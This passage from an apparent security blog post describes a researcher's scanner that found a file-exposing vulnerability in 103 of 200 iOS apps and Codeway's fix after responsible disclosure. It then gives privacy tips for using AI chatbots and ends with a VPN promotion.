This prompted the researcher to create a tool that automatically scans apps on Google Play and Apple App Store for this vulnerability—with astonishing results. Reportedly, the researcher, named Harry, found that 103 out of 200 iOS apps they scanned had this issue, collectively exposing tens of millions of stored files.
To draw attention to the issue, Harry set up a website where users can see the apps affected by the issue. Codeway’s apps are no longer listed there, as Harry removes entries once developers confirm they have fixed the problem. Codeway reportedly resolved the issue across all of its apps within hours of responsible disclosure.
How to stay safe
Besides checking if any apps you use appear in Harry’s Firehoundregistry, there are a few ways to better protect your privacy when using AI chatbots.
Use private chatbots that don’t use your data to train the model.
Don’t rely on chatbots for important life decisions. They have no experience or empathy.
Don’t use your real identity when discussing sensitive subjects.
Keep shared information impersonal. Don’t use real names and don’t upload personal documents.
Don’t share your conversations unless you absolutely have to. In some cases, it makes them searchable.
If you’re using an AI that is developed by a social media company (Meta AI, Llama, Grok, Bard, Gemini, and so on), make sure you’re not logged in to that social media platform. Your conversations could be linked to your social media account, which might contain a lot of personal information.
Always remember that the developments in AI are going too fast for security and privacy to be baked into technology. And that even the best AIs still hallucinate.
We don’t just report on privacy—we offer you the option to use it.
Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.
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